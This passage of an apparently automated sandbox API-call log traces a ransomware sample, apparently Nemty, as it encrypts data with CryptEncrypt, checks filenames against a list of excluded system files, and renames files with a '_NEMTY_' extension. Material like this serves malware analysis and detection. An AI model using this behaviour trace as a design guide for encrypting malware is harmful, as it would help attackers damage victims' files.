dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0093.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0093.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0093.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0093.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0093.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0093.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0093.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0093.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0093.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0093.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0093.390] Sleep (dwMilliseconds=0x5) [0093.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb508cd0, dwHighDateTime=0x1d561e7)) [0093.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb508cd0, dwHighDateTime=0x1d561e7)) [0093.395] GetLastError () returned 0x5 [0093.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.395] GetLastError () returned 0x5 [0093.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0093.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0093.395] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0093.395] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0093.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0093.395] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="pdkpSOviDTMV2H7AjMvBtX27tOuzFxhLqyA+is5HlbFIxS2F1dLs4l5vwb6CKIjJ\r\nLOajJM4g7OjmZan4gY2d0MZEpDC+YVus8Kx04dF20sVp8XO0NUeyB4jqDCdEPdDa\r\nvBBzRWxM7zpOOwX7QmwxnAcyERQeR3ZvfYxDjTJu0+6pWieb/5DtAfVsOIR4HtvX\r\nN16C2f4sHyGQ8qePM3/MpBNOES3R/vufxlBRzhmln7ReOZMv5pgP53gh4y8VVThS\r\nyTZktcmQvCfpOHo5M1vglU2rjkQjzDmaq4ZfhllA4Plnkfi+j4n8GYU/NhzAK4s8\r\nCrwTft5nF2gHVez8eDB7bw==\r\n", pcchString=0x653e91c) returned 1 [0093.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0093.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0093.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0093.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0093.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0093.396] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.396] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0093.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0093.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0093.503] CloseHandle (hObject=0xffffffff) returned 0 [0093.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0093.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0093.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0093.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0093.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.504] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png._nemty_kgobjgd_")) returned 0 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0093.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.504] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0093.504] lstrcmpiW (lpString1="button-bullet.png", lpString2=".") returned 1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="..") returned 1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="...") returned 1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="windows") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="$RECYCLE.BIN") returned 1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="rsa") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="NTDETECT.COM") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="ntldr") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="MSDOS.SYS") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="IO.SYS") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="boot.ini") returned 1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="boot.ini") returned 1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="AUTOEXEC.BAT") returned 1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="ntuser.dat") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="desktop.ini") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="CONFIG.SYS") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="RECYCLER") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="BOOTSECT.BAK") returned 1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="bootmgr") returned 1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="programdata") returned -1 [0093.505] lstrcmpiW (lpString1="button-bullet.png", lpString2="appdata") returned 1 [0093.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-bullet.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0093.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-bullet.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-bullet.png", lpUsedDefaultChar=0x0) returned 17 [0093.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0093.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-bullet.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0093.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-bullet.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-bullet.png", lpUsedDefaultChar=0x0) returned 17 [0093.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0093.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-bullet.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0093.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-bullet.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-bullet.png", lpUsedDefaultChar=0x0) returned 17 [0093.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-bullet.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0093.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0093.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-bullet.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-bullet.png", lpUsedDefaultChar=0x0) returned 17 [0093.506] HeapFree (in: 